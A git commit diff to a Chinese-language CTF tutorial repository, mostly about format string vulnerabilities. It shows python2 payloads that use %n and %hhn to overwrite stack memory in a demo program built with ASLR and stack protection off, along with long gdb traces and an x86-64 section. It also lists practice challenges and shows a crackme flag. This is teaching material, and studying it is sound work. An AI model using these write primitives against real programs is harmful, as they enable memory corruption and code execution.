mirror of
https://github.com/nganhkhoa/CTF-All-In-One.git
synced 2024-12-24 19:21:15 +07:00
fix writeup
This commit is contained in:
parent
f40c2a69c7
commit
d761dc19fa
@ -292,6 +292,7 @@ printf("%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s")
|
||||
|
||||
使程序崩溃只是验证漏洞的第一步,攻击者还可以利用格式化输出函数来获得内存的内容,为下一步漏洞利用做准备。我们已经知道了,格式化字符串函数会根据格式字符串从栈上取值。由于在 x86 上栈由高地址向低地址增长,而 `printf()` 函数的参数是以逆序被压入栈的,所以参数在内存中出现的顺序与在 `printf()` 调用时出现的顺序是一致的。
|
||||
|
||||
下面的演示我们都使用下面的[源码](../src/Others/3.3.1_fmt_2.c):
|
||||
```c
|
||||
#include<stdio.h>
|
||||
void main() {
|
||||
@ -303,7 +304,8 @@ void main() {
|
||||
printf("\n");
|
||||
}
|
||||
```
|
||||
```
|
||||
```text
|
||||
# echo 0 > /proc/sys/kernel/randomize_va_space
|
||||
$ gcc -m32 -fno-stack-protector -no-pie fmt.c
|
||||
```
|
||||
|
||||
@ -730,13 +732,13 @@ Continuing.
|
||||
void main() {
|
||||
int i;
|
||||
char str[] = "hello";
|
||||
|
||||
|
||||
printf("%s %n\n", str, &i);
|
||||
printf("%d\n", i);
|
||||
}
|
||||
```
|
||||
```
|
||||
$ ./a.out
|
||||
$ ./a.out
|
||||
hello
|
||||
6
|
||||
```
|
||||
@ -747,7 +749,7 @@ hello
|
||||
#include<stdio.h>
|
||||
void main() {
|
||||
int i;
|
||||
|
||||
|
||||
printf("%10u%n\n", 1, &i);
|
||||
printf("%d\n", i);
|
||||
printf("%.50u%n\n", 1, &i);
|
||||
@ -757,7 +759,7 @@ void main() {
|
||||
}
|
||||
```
|
||||
```
|
||||
$ ./a.out
|
||||
$ ./a.out
|
||||
1
|
||||
10
|
||||
00000000000000000000000000000000000000000000000001
|
||||
@ -777,20 +779,20 @@ $ ./a.out
|
||||
|
||||
还是我们一开始的程序,我们尝试将 `arg2` 的值更改为任意值(比如 `0x00000020`,十进制 32),在 gdb 中可以看到得到 `arg2` 的地址 `0xffffd538`,那么我们构造格式字符串 `\x38\xd5\xff\xff%08x%08x%012d%13$n`,其中 `\x38\xd5\xff\xff` 表示 `arg2` 的地址,占 4 字节,`%08x%08x` 表示两个 8 字符宽的十六进制数,占 16 字节,`%012d` 占 12 字节,三个部分加起来就占了 4+16+12=32 字节,即把 `arg2` 赋值为 `0x00000020`。格式字符串最后一部分 `%13$n` 也是最重要的一部分,和上面的内容一样,表示格式字符串的第 13 个参数,即写入 `0xffffd538` 的地方(`0xffffd564`),`printf()` 就是通过这个地址找到被覆盖的内容的:
|
||||
```
|
||||
$ python2 -c 'print("\x38\xd5\xff\xff%08x%08x%012d%13$n")' > text
|
||||
$ gdb -q a.out
|
||||
$ python2 -c 'print("\x38\xd5\xff\xff%08x%08x%012d%13$n")' > text
|
||||
$ gdb -q a.out
|
||||
Reading symbols from a.out...(no debugging symbols found)...done.
|
||||
gdb-peda$ b printf
|
||||
Breakpoint 1 at 0x8048350
|
||||
gdb-peda$ r < text
|
||||
[----------------------------------registers-----------------------------------]
|
||||
EAX: 0xffffd564 --> 0xffffd538 --> 0x88888888
|
||||
EBX: 0x804a000 --> 0x8049f14 --> 0x1
|
||||
ECX: 0x1
|
||||
EDX: 0xf7f9883c --> 0x0
|
||||
ESI: 0xf7f96e68 --> 0x1bad90
|
||||
EDI: 0x0
|
||||
EBP: 0xffffd5f8 --> 0x0
|
||||
EAX: 0xffffd564 --> 0xffffd538 --> 0x88888888
|
||||
EBX: 0x804a000 --> 0x8049f14 --> 0x1
|
||||
ECX: 0x1
|
||||
EDX: 0xf7f9883c --> 0x0
|
||||
ESI: 0xf7f96e68 --> 0x1bad90
|
||||
EDI: 0x0
|
||||
EBP: 0xffffd5f8 --> 0x0
|
||||
ESP: 0xffffd52c --> 0x8048520 (<main+138>: add esp,0x20)
|
||||
EIP: 0xf7e27c20 (<printf>: call 0xf7f06d17 <__x86.get_pc_thunk.ax>)
|
||||
EFLAGS: 0x292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow)
|
||||
@ -806,12 +808,12 @@ EFLAGS: 0x292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow)
|
||||
No argument
|
||||
[------------------------------------stack-------------------------------------]
|
||||
0000| 0xffffd52c --> 0x8048520 (<main+138>: add esp,0x20)
|
||||
0004| 0xffffd530 --> 0xffffd564 --> 0xffffd538 --> 0x88888888
|
||||
0008| 0xffffd534 --> 0x1
|
||||
0012| 0xffffd538 --> 0x88888888
|
||||
0016| 0xffffd53c --> 0xffffffff
|
||||
0004| 0xffffd530 --> 0xffffd564 --> 0xffffd538 --> 0x88888888
|
||||
0008| 0xffffd534 --> 0x1
|
||||
0012| 0xffffd538 --> 0x88888888
|
||||
0016| 0xffffd53c --> 0xffffffff
|
||||
0020| 0xffffd540 --> 0xffffd55a ("ABCD")
|
||||
0024| 0xffffd544 --> 0xffffd564 --> 0xffffd538 --> 0x88888888
|
||||
0024| 0xffffd544 --> 0xffffd564 --> 0xffffd538 --> 0x88888888
|
||||
0028| 0xffffd548 --> 0x80481fc --> 0x38 ('8')
|
||||
[------------------------------------------------------------------------------]
|
||||
Legend: code, data, rodata, value
|
||||
@ -827,12 +829,12 @@ gdb-peda$ finish
|
||||
Run till exit from #0 0xf7e27c20 in printf () from /usr/lib32/libc.so.6
|
||||
[----------------------------------registers-----------------------------------]
|
||||
EAX: 0x20 (' ')
|
||||
EBX: 0x804a000 --> 0x8049f14 --> 0x1
|
||||
ECX: 0x0
|
||||
EDX: 0xf7f98830 --> 0x0
|
||||
ESI: 0xf7f96e68 --> 0x1bad90
|
||||
EDI: 0x0
|
||||
EBP: 0xffffd5f8 --> 0x0
|
||||
EBX: 0x804a000 --> 0x8049f14 --> 0x1
|
||||
ECX: 0x0
|
||||
EDX: 0xf7f98830 --> 0x0
|
||||
ESI: 0xf7f96e68 --> 0x1bad90
|
||||
EDI: 0x0
|
||||
EBP: 0xffffd5f8 --> 0x0
|
||||
ESP: 0xffffd530 --> 0xffffd564 --> 0xffffd538 --> 0x20 (' ')
|
||||
EIP: 0x8048520 (<main+138>: add esp,0x20)
|
||||
EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
|
||||
@ -847,9 +849,9 @@ EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
|
||||
0x804852d <main+151>: add esp,0x10
|
||||
[------------------------------------stack-------------------------------------]
|
||||
0000| 0xffffd530 --> 0xffffd564 --> 0xffffd538 --> 0x20 (' ')
|
||||
0004| 0xffffd534 --> 0x1
|
||||
0004| 0xffffd534 --> 0x1
|
||||
0008| 0xffffd538 --> 0x20 (' ')
|
||||
0012| 0xffffd53c --> 0xffffffff
|
||||
0012| 0xffffd53c --> 0xffffffff
|
||||
0016| 0xffffd540 --> 0xffffd55a ("ABCD")
|
||||
0020| 0xffffd544 --> 0xffffd564 --> 0xffffd538 --> 0x20 (' ')
|
||||
0024| 0xffffd548 --> 0x80481fc --> 0x38 ('8')
|
||||
@ -869,20 +871,20 @@ gdb-peda$ x/20x $esp
|
||||
#### 覆盖任意地址内存
|
||||
也许已经有人发现了一个问题,使用上面覆盖内存的方法,值最小只能是 4,因为单单地址就占去了 4 个字节。那么我们怎样覆盖比 4 小的值呢。利用整数溢出是一个方法,但是在实践中这样做基本都不会成功。再想一下,前面的输入中,地址都位于格式字符串之前,这样做真的有必要吗,能否将地址放在中间。我们来试一下,使用格式字符串 `"AA%15$nA"+"\x38\xd5\xff\xff"`,开头的 `AA` 占两个字节,即将地址赋值为 `2`,中间是 `%15$n` 占 5 个字节,这里不是 `%13$n`,因为地址被我们放在了后面,在格式字符串的第 15 个参数,后面跟上一个 `A` 占用一个字节。于是前半部分总共占用了 2+5+1=8 个字节,刚好是两个参数的宽度,这里的 8 字节对齐十分重要。最后再输入我们要覆盖的地址 `\x38\xd5\xff\xff`,详细输出如下:
|
||||
```
|
||||
$ python2 -c 'print("AA%15$nA"+"\x38\xd5\xff\xff")' > text
|
||||
$ gdb -q a.out
|
||||
$ python2 -c 'print("AA%15$nA"+"\x38\xd5\xff\xff")' > text
|
||||
$ gdb -q a.out
|
||||
Reading symbols from a.out...(no debugging symbols found)...done.
|
||||
gdb-peda$ b printf
|
||||
Breakpoint 1 at 0x8048350
|
||||
gdb-peda$ r < text
|
||||
[----------------------------------registers-----------------------------------]
|
||||
EAX: 0xffffd564 ("AA%15$nA8\325\377\377")
|
||||
EBX: 0x804a000 --> 0x8049f14 --> 0x1
|
||||
ECX: 0x1
|
||||
EDX: 0xf7f9883c --> 0x0
|
||||
ESI: 0xf7f96e68 --> 0x1bad90
|
||||
EDI: 0x0
|
||||
EBP: 0xffffd5f8 --> 0x0
|
||||
EBX: 0x804a000 --> 0x8049f14 --> 0x1
|
||||
ECX: 0x1
|
||||
EDX: 0xf7f9883c --> 0x0
|
||||
ESI: 0xf7f96e68 --> 0x1bad90
|
||||
EDI: 0x0
|
||||
EBP: 0xffffd5f8 --> 0x0
|
||||
ESP: 0xffffd52c --> 0x8048520 (<main+138>: add esp,0x20)
|
||||
EIP: 0xf7e27c20 (<printf>: call 0xf7f06d17 <__x86.get_pc_thunk.ax>)
|
||||
EFLAGS: 0x292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow)
|
||||
@ -899,9 +901,9 @@ No argument
|
||||
[------------------------------------stack-------------------------------------]
|
||||
0000| 0xffffd52c --> 0x8048520 (<main+138>: add esp,0x20)
|
||||
0004| 0xffffd530 --> 0xffffd564 ("AA%15$nA8\325\377\377")
|
||||
0008| 0xffffd534 --> 0x1
|
||||
0012| 0xffffd538 --> 0x88888888
|
||||
0016| 0xffffd53c --> 0xffffffff
|
||||
0008| 0xffffd534 --> 0x1
|
||||
0012| 0xffffd538 --> 0x88888888
|
||||
0016| 0xffffd53c --> 0xffffffff
|
||||
0020| 0xffffd540 --> 0xffffd55a ("ABCD")
|
||||
0024| 0xffffd544 --> 0xffffd564 ("AA%15$nA8\325\377\377")
|
||||
0028| 0xffffd548 --> 0x80481fc --> 0x38 ('8')
|
||||
@ -918,13 +920,13 @@ gdb-peda$ x/20x $esp
|
||||
gdb-peda$ finish
|
||||
Run till exit from #0 0xf7e27c20 in printf () from /usr/lib32/libc.so.6
|
||||
[----------------------------------registers-----------------------------------]
|
||||
EAX: 0x7
|
||||
EBX: 0x804a000 --> 0x8049f14 --> 0x1
|
||||
ECX: 0x0
|
||||
EDX: 0xf7f98830 --> 0x0
|
||||
ESI: 0xf7f96e68 --> 0x1bad90
|
||||
EDI: 0x0
|
||||
EBP: 0xffffd5f8 --> 0x0
|
||||
EAX: 0x7
|
||||
EBX: 0x804a000 --> 0x8049f14 --> 0x1
|
||||
ECX: 0x0
|
||||
EDX: 0xf7f98830 --> 0x0
|
||||
ESI: 0xf7f96e68 --> 0x1bad90
|
||||
EDI: 0x0
|
||||
EBP: 0xffffd5f8 --> 0x0
|
||||
ESP: 0xffffd530 --> 0xffffd564 ("AA%15$nA8\325\377\377")
|
||||
EIP: 0x8048520 (<main+138>: add esp,0x20)
|
||||
EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
|
||||
@ -939,9 +941,9 @@ EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
|
||||
0x804852d <main+151>: add esp,0x10
|
||||
[------------------------------------stack-------------------------------------]
|
||||
0000| 0xffffd530 --> 0xffffd564 ("AA%15$nA8\325\377\377")
|
||||
0004| 0xffffd534 --> 0x1
|
||||
0008| 0xffffd538 --> 0x2
|
||||
0012| 0xffffd53c --> 0xffffffff
|
||||
0004| 0xffffd534 --> 0x1
|
||||
0008| 0xffffd538 --> 0x2
|
||||
0012| 0xffffd53c --> 0xffffffff
|
||||
0016| 0xffffd540 --> 0xffffd55a ("ABCD")
|
||||
0020| 0xffffd544 --> 0xffffd564 ("AA%15$nA8\325\377\377")
|
||||
0024| 0xffffd548 --> 0x80481fc --> 0x38 ('8')
|
||||
@ -990,12 +992,12 @@ gdb-peda$ r
|
||||
AAAABBBBCCCCDDDD
|
||||
[----------------------------------registers-----------------------------------]
|
||||
EAX: 0xffffd564 ("AAAABBBBCCCCDDDD")
|
||||
EBX: 0x804a000 --> 0x8049f14 --> 0x1
|
||||
ECX: 0x1
|
||||
EDX: 0xf7f9883c --> 0x0
|
||||
ESI: 0xf7f96e68 --> 0x1bad90
|
||||
EDI: 0x0
|
||||
EBP: 0xffffd5f8 --> 0x0
|
||||
EBX: 0x804a000 --> 0x8049f14 --> 0x1
|
||||
ECX: 0x1
|
||||
EDX: 0xf7f9883c --> 0x0
|
||||
ESI: 0xf7f96e68 --> 0x1bad90
|
||||
EDI: 0x0
|
||||
EBP: 0xffffd5f8 --> 0x0
|
||||
ESP: 0xffffd52c --> 0x8048520 (<main+138>: add esp,0x20)
|
||||
EIP: 0xf7e27c20 (<printf>: call 0xf7f06d17 <__x86.get_pc_thunk.ax>)
|
||||
EFLAGS: 0x292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow)
|
||||
@ -1012,9 +1014,9 @@ No argument
|
||||
[------------------------------------stack-------------------------------------]
|
||||
0000| 0xffffd52c --> 0x8048520 (<main+138>: add esp,0x20)
|
||||
0004| 0xffffd530 --> 0xffffd564 ("AAAABBBBCCCCDDDD")
|
||||
0008| 0xffffd534 --> 0x1
|
||||
0012| 0xffffd538 --> 0x88888888
|
||||
0016| 0xffffd53c --> 0xffffffff
|
||||
0008| 0xffffd534 --> 0x1
|
||||
0012| 0xffffd538 --> 0x88888888
|
||||
0016| 0xffffd53c --> 0xffffffff
|
||||
0020| 0xffffd540 --> 0xffffd55a ("ABCD")
|
||||
0024| 0xffffd544 --> 0xffffd564 ("AAAABBBBCCCCDDDD")
|
||||
0028| 0xffffd548 --> 0x80481fc --> 0x38 ('8')
|
||||
@ -1044,20 +1046,20 @@ $ python2 -c 'print("\x38\xd5\xff\xff"+"\x39\xd5\xff\xff"+"\x3a\xd5\xff\xff"+"\x
|
||||
```
|
||||
其中前四个部分是 4 个写入地址,占 4*4=16 字节,后面四个部分分别用于写入十六进制数,由于使用了 `hh`,所以只会保留一个字节 `0x78`(16+104=120 -> 0x56)、`0x56`(120+222=342 -> 0x0156 -> 56)、`0x34`(342+222=564 -> 0x0234 -> 0x34)、`0x12`(564+222=786 -> 0x312 -> 0x12)。执行结果如下:
|
||||
```
|
||||
$ gdb -q a.out
|
||||
$ gdb -q a.out
|
||||
Reading symbols from a.out...(no debugging symbols found)...done.
|
||||
gdb-peda$ b printf
|
||||
Breakpoint 1 at 0x8048350
|
||||
gdb-peda$ r < text
|
||||
Starting program: /home/firmy/Desktop/RE4B/a.out < text
|
||||
[----------------------------------registers-----------------------------------]
|
||||
EAX: 0xffffd564 --> 0xffffd538 --> 0x88888888
|
||||
EBX: 0x804a000 --> 0x8049f14 --> 0x1
|
||||
ECX: 0x1
|
||||
EDX: 0xf7f9883c --> 0x0
|
||||
ESI: 0xf7f96e68 --> 0x1bad90
|
||||
EDI: 0x0
|
||||
EBP: 0xffffd5f8 --> 0x0
|
||||
EAX: 0xffffd564 --> 0xffffd538 --> 0x88888888
|
||||
EBX: 0x804a000 --> 0x8049f14 --> 0x1
|
||||
ECX: 0x1
|
||||
EDX: 0xf7f9883c --> 0x0
|
||||
ESI: 0xf7f96e68 --> 0x1bad90
|
||||
EDI: 0x0
|
||||
EBP: 0xffffd5f8 --> 0x0
|
||||
ESP: 0xffffd52c --> 0x8048520 (<main+138>: add esp,0x20)
|
||||
EIP: 0xf7e27c20 (<printf>: call 0xf7f06d17 <__x86.get_pc_thunk.ax>)
|
||||
EFLAGS: 0x292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow)
|
||||
@ -1073,12 +1075,12 @@ EFLAGS: 0x292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow)
|
||||
No argument
|
||||
[------------------------------------stack-------------------------------------]
|
||||
0000| 0xffffd52c --> 0x8048520 (<main+138>: add esp,0x20)
|
||||
0004| 0xffffd530 --> 0xffffd564 --> 0xffffd538 --> 0x88888888
|
||||
0008| 0xffffd534 --> 0x1
|
||||
0012| 0xffffd538 --> 0x88888888
|
||||
0016| 0xffffd53c --> 0xffffffff
|
||||
0004| 0xffffd530 --> 0xffffd564 --> 0xffffd538 --> 0x88888888
|
||||
0008| 0xffffd534 --> 0x1
|
||||
0012| 0xffffd538 --> 0x88888888
|
||||
0016| 0xffffd53c --> 0xffffffff
|
||||
0020| 0xffffd540 --> 0xffffd55a ("ABCD")
|
||||
0024| 0xffffd544 --> 0xffffd564 --> 0xffffd538 --> 0x88888888
|
||||
0024| 0xffffd544 --> 0xffffd564 --> 0xffffd538 --> 0x88888888
|
||||
0028| 0xffffd548 --> 0x80481fc --> 0x38 ('8')
|
||||
[------------------------------------------------------------------------------]
|
||||
Legend: code, data, rodata, value
|
||||
@ -1093,14 +1095,14 @@ gdb-peda$ x/20x $esp
|
||||
gdb-peda$ finish
|
||||
Run till exit from #0 0xf7e27c20 in printf () from /usr/lib32/libc.so.6
|
||||
[----------------------------------registers-----------------------------------]
|
||||
EAX: 0x312
|
||||
EBX: 0x804a000 --> 0x8049f14 --> 0x1
|
||||
ECX: 0x0
|
||||
EDX: 0xf7f98830 --> 0x0
|
||||
ESI: 0xf7f96e68 --> 0x1bad90
|
||||
EDI: 0x0
|
||||
EBP: 0xffffd5f8 --> 0x0
|
||||
ESP: 0xffffd530 --> 0xffffd564 --> 0xffffd538 --> 0x12345678
|
||||
EAX: 0x312
|
||||
EBX: 0x804a000 --> 0x8049f14 --> 0x1
|
||||
ECX: 0x0
|
||||
EDX: 0xf7f98830 --> 0x0
|
||||
ESI: 0xf7f96e68 --> 0x1bad90
|
||||
EDI: 0x0
|
||||
EBP: 0xffffd5f8 --> 0x0
|
||||
ESP: 0xffffd530 --> 0xffffd564 --> 0xffffd538 --> 0x12345678
|
||||
EIP: 0x8048520 (<main+138>: add esp,0x20)
|
||||
EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
|
||||
[-------------------------------------code-------------------------------------]
|
||||
@ -1113,12 +1115,12 @@ EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
|
||||
0x8048528 <main+146>: call 0x8048370 <putchar@plt>
|
||||
0x804852d <main+151>: add esp,0x10
|
||||
[------------------------------------stack-------------------------------------]
|
||||
0000| 0xffffd530 --> 0xffffd564 --> 0xffffd538 --> 0x12345678
|
||||
0004| 0xffffd534 --> 0x1
|
||||
0008| 0xffffd538 --> 0x12345678
|
||||
0012| 0xffffd53c --> 0xffffffff
|
||||
0000| 0xffffd530 --> 0xffffd564 --> 0xffffd538 --> 0x12345678
|
||||
0004| 0xffffd534 --> 0x1
|
||||
0008| 0xffffd538 --> 0x12345678
|
||||
0012| 0xffffd53c --> 0xffffffff
|
||||
0016| 0xffffd540 --> 0xffffd55a ("ABCD")
|
||||
0020| 0xffffd544 --> 0xffffd564 --> 0xffffd538 --> 0x12345678
|
||||
0020| 0xffffd544 --> 0xffffd564 --> 0xffffd538 --> 0x12345678
|
||||
0024| 0xffffd548 --> 0x80481fc --> 0x38 ('8')
|
||||
0028| 0xffffd54c --> 0x80484b0 (<main+26>: add ebx,0x1b50)
|
||||
[------------------------------------------------------------------------------]
|
||||
@ -1132,8 +1134,78 @@ gdb-peda$ x/20x $esp
|
||||
0xffffd570: 0xffffd53b 0x34303125 0x33312563 0x6e686824
|
||||
```
|
||||
|
||||
最后还得强调两点:
|
||||
- 首先是需要关闭整个系统的 ASLR 保护,这可以保证栈在 gdb 环境中和直接运行中都保持不变,但这两个栈地址不一定相同
|
||||
- 其次因为在 gdb 调试环境中的栈地址和直接运行程序是不一样的,所以我们需要结合格式化字符串漏洞读取内存,先泄露一个地址出来,然后根据泄露出来的地址计算实际地址
|
||||
|
||||
|
||||
## x86-64 中的格式化字符串漏洞
|
||||
在 x64 体系中,多数调用惯例都是通过寄存器传递参数。在 Linux 上,前六个参数通过 `RDI`、`RSI`、`RDX`、`RCX`、`R8` 和 `R9` 传递;而在 Windows 中,前四个参数通过 `RCX`、`RDX`、`R8` 和 `R9` 来传递。
|
||||
|
||||
还是上面的程序,但是这次我们把它编译成 64 位:
|
||||
```
|
||||
gcc -fno-stack-protector -no-pie fmt.c
|
||||
```
|
||||
使用 `AAAAAAAA%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.` 作为输入:
|
||||
```
|
||||
gdb-peda$ n
|
||||
[----------------------------------registers-----------------------------------]
|
||||
RAX: 0x0
|
||||
RBX: 0x0
|
||||
RCX: 0xffffffff
|
||||
RDX: 0x88888888
|
||||
RSI: 0x1
|
||||
RDI: 0x7fffffffe3d0 ("AAAAAAAA%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.")
|
||||
RBP: 0x7fffffffe460 --> 0x400660 (<__libc_csu_init>: push r15)
|
||||
RSP: 0x7fffffffe3c0 --> 0x4241000000000000 ('')
|
||||
RIP: 0x400648 (<main+113>: call 0x4004e0 <printf@plt>)
|
||||
R8 : 0x7fffffffe3c6 --> 0x44434241 ('ABCD')
|
||||
R9 : 0xa ('\n')
|
||||
R10: 0x7ffff7dd4380 --> 0x7ffff7dd0640 --> 0x7ffff7b9ed3a --> 0x636d656d5f5f0043 ('C')
|
||||
R11: 0x246
|
||||
R12: 0x400500 (<_start>: xor ebp,ebp)
|
||||
R13: 0x7fffffffe540 --> 0x1
|
||||
R14: 0x0
|
||||
R15: 0x0
|
||||
EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
|
||||
[-------------------------------------code-------------------------------------]
|
||||
0x40063d <main+102>: mov r8,rdi
|
||||
0x400640 <main+105>: mov rdi,rax
|
||||
0x400643 <main+108>: mov eax,0x0
|
||||
=> 0x400648 <main+113>: call 0x4004e0 <printf@plt>
|
||||
0x40064d <main+118>: mov edi,0xa
|
||||
0x400652 <main+123>: call 0x4004d0 <putchar@plt>
|
||||
0x400657 <main+128>: nop
|
||||
0x400658 <main+129>: leave
|
||||
Guessed arguments:
|
||||
arg[0]: 0x7fffffffe3d0 ("AAAAAAAA%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.")
|
||||
arg[1]: 0x1
|
||||
arg[2]: 0x88888888
|
||||
arg[3]: 0xffffffff
|
||||
arg[4]: 0x7fffffffe3c6 --> 0x44434241 ('ABCD')
|
||||
[------------------------------------stack-------------------------------------]
|
||||
0000| 0x7fffffffe3c0 --> 0x4241000000000000 ('')
|
||||
0008| 0x7fffffffe3c8 --> 0x4443 ('CD')
|
||||
0016| 0x7fffffffe3d0 ("AAAAAAAA%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.")
|
||||
0024| 0x7fffffffe3d8 ("%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.")
|
||||
0032| 0x7fffffffe3e0 (".%p.%p.%p.%p.%p.%p.%p.")
|
||||
0040| 0x7fffffffe3e8 ("p.%p.%p.%p.%p.")
|
||||
0048| 0x7fffffffe3f0 --> 0x2e70252e7025 ('%p.%p.')
|
||||
0056| 0x7fffffffe3f8 --> 0x1
|
||||
[------------------------------------------------------------------------------]
|
||||
Legend: code, data, rodata, value
|
||||
0x0000000000400648 in main ()
|
||||
gdb-peda$ x/10g $rsp
|
||||
0x7fffffffe3c0: 0x4241000000000000 0x0000000000004443
|
||||
0x7fffffffe3d0: 0x4141414141414141 0x70252e70252e7025
|
||||
0x7fffffffe3e0: 0x252e70252e70252e 0x2e70252e70252e70
|
||||
0x7fffffffe3f0: 0x00002e70252e7025 0x0000000000000001
|
||||
0x7fffffffe400: 0x0000000000f0b5ff 0x00000000000000c2
|
||||
gdb-peda$ c
|
||||
Continuing.
|
||||
AAAAAAAA0x1.0x88888888.0xffffffff.0x7fffffffe3c6.0xa.0x4241000000000000.0x4443.0x4141414141414141.0x70252e70252e7025.0x252e70252e70252e.
|
||||
```
|
||||
可以看到我们最后的输出中,前五个数字分别来自寄存器 `RSI`、`RDX`、`RCX`、`R8` 和 `R9`,后面的数字才取自栈,`0x4141414141414141` 在 `%8$p` 的位置。这里还有个地方要注意,我们前面说的 Linux 有 6 个寄存器用于传递参数,可是这里只输出了 5 个,原因是有一个寄存器 `RDI` 被用于传递格式字符串,可以从 gdb 中看到,`arg[0]` 就是由 `RDI` 传递的格式字符串。(现在你可以再回到 x86 的相关内容,可以看到在 x86 中格式字符串通过栈传递的,但是同样的也不会被打印出来)其他的操作和 x86 没有什么大的区别,只是这时我们就不能修改 `arg2` 的值了,因为它被存入了寄存器中。
|
||||
|
||||
|
||||
## CTF 中的格式化字符串漏洞
|
||||
@ -1322,6 +1394,10 @@ hacked!
|
||||
这样我们就获得了 shell,可以看到输出的信息和我们手工得到的信息完全相同。
|
||||
|
||||
|
||||
|
||||
# 扩展阅读
|
||||
## 扩展阅读
|
||||
[Exploiting Sudo format string vunerability CVE-2012-0809](http://www.vnsecurity.net/research/2012/02/16/exploiting-sudo-format-string-vunerability.html)
|
||||
|
||||
|
||||
## 练习
|
||||
- [**pwn** - UIUCTF 2017 - goodluck - 200](../src/Pwn/3.3.1_goodluck_200)
|
||||
- [**Pwn** - NJCTF 2017 - pingme - 200](../src/Pwn/3.3.1_pingme_200)
|
||||
|
@ -419,10 +419,10 @@ Count 152786
|
||||
- [pintool2](https://github.com/sebastiendamaye/pintool2)
|
||||
|
||||
#### 练习
|
||||
- [Baleful - picoCTF 2014](../src/Reverse/5.2_baleful)
|
||||
- [Reverse 400 - Hack You 2014](../src/Reverse/5.2_reverse_400)
|
||||
- [wyvern 500 - CSAW CTF 2015](../src/Reverse/5.2_wyvern_500)
|
||||
- [rev100 - th3jackers CTF 2015](../src/Reverse/5.2_th3jackers_100)
|
||||
- [**RE** - picoCTF 2014 - Baleful](../src/Reverse/5.2_baleful)
|
||||
- [**RE** - Hack You 2014 - reverse - 400](../src/Reverse/5.2_reverse_400)
|
||||
- [**RE** - CSAW CTF 2015 - wyvern - 500](../src/Reverse/5.2_wyvern_500)
|
||||
- [**RE** - th3jackers CTF 2015 - rev100 - 100](../src/Reverse/5.2_th3jackers_100)
|
||||
|
||||
|
||||
## 扩展:Triton
|
||||
|
@ -30,6 +30,10 @@
|
||||
- [3.1 Reverse]()
|
||||
- [3.2 Crypto]()
|
||||
- [3.3 Pwn]()
|
||||
- [3.3.1 格式化字符串漏洞](#331-格式化字符串漏洞)
|
||||
- [3.3.2 整数溢出]()
|
||||
- [3.3.3 栈溢出]()
|
||||
- [3.3.4 堆溢出]()
|
||||
- [3.4 Web]()
|
||||
- [3.5 Misc]()
|
||||
- [3.6 Mobile]()
|
||||
@ -37,44 +41,53 @@
|
||||
- [4.1 AWD模式]()
|
||||
- [4.2 Linux 命令行技巧]()
|
||||
- [4.3 GCC 堆栈保护技术]()
|
||||
- [4.4 使用 DynELF 泄露函数地址]()
|
||||
- [五、高级篇]()
|
||||
- [5.1 Fuzz 测试]()
|
||||
- [5.2 Pin 动态二进制插桩](#52-Pin-动态二进制插桩)
|
||||
- [5.3 angr 二进制自动化分析]()
|
||||
- [5.4 反调试技术]()
|
||||
- [5.5 符号执行]()
|
||||
- [5.6 LLVM]()
|
||||
- [六、附录]()
|
||||
- [6.1 更多 Linux 工具](#61-更多-linux-工具)
|
||||
- [6.2 更多 Windows 工具]()
|
||||
|
||||
|
||||
## 3.3.1 格式化字符串漏洞
|
||||
#### **pwn** - UIUCTF 2017 - goodluck - 200
|
||||
|
||||
#### **Pwn** - NJCTF 2017 - pingme - 200
|
||||
|
||||
|
||||
## 5.2 Pin 动态二进制插桩
|
||||
#### Baleful - picoCTF 2014
|
||||
#### **RE** - picoCTF 2014 - Baleful
|
||||
|
||||
#### Reverse 400 - Hack You 2014
|
||||
#### **RE** - Hack You 2014 - reverse - 400
|
||||
|
||||
#### wyvern 500 - CSAW CTF 2015
|
||||
#### **RE** - CSAW CTF 2015 - wyvern - 500
|
||||
|
||||
#### rev100 - th3jackers CTF 2015
|
||||
#### **RE** - th3jackers CTF 2015 - rev100 - 100
|
||||
|
||||
|
||||
## 6.1 更多 Linux 工具
|
||||
#### Strings - strings_crackme
|
||||
```text
|
||||
[firmy@Reverse]$ strings -e L strings_crackme
|
||||
$ strings -e L strings_crackme
|
||||
w0wgreat
|
||||
```
|
||||
|
||||
#### Strings - flag_pwnablekr
|
||||
#### **Pwn** - Strings - flag_pwnablekr
|
||||
```text
|
||||
[firmy@Reverse]$ ./flag_pwnablekr
|
||||
$ ./flag_pwnablekr
|
||||
I will malloc() and strcpy the flag there. take it.
|
||||
[firmy@Reverse]$ strings flag_pwnablekr | grep UPX
|
||||
$ strings flag_pwnablekr | grep UPX
|
||||
UPX!
|
||||
$Info: This file is packed with the UPX executable packer http://upx.sf.net $
|
||||
$Id: UPX 3.08 Copyright (C) 1996-2011 the UPX Team. All Rights Reserved. $
|
||||
UPX!
|
||||
UPX!
|
||||
[firmy@Reverse]$ upx -d flag_pwnablekr
|
||||
$ upx -d flag_pwnablekr
|
||||
Ultimate Packer for eXecutables
|
||||
Copyright (C) 1996 - 2017
|
||||
UPX 3.94 Markus Oberhumer, Laszlo Molnar & John Reiser May 12th 2017
|
||||
@ -82,19 +95,19 @@ UPX 3.94 Markus Oberhumer, Laszlo Molnar & John Reiser May 12th 2017
|
||||
-------------------- ------ ----------- -----------
|
||||
883745 <- 335288 37.94% linux/amd64 flag_pwnablekr
|
||||
Unpacked 1 file.
|
||||
[firmy@Reverse]$ strings flag_pwnablekr | grep -i upx
|
||||
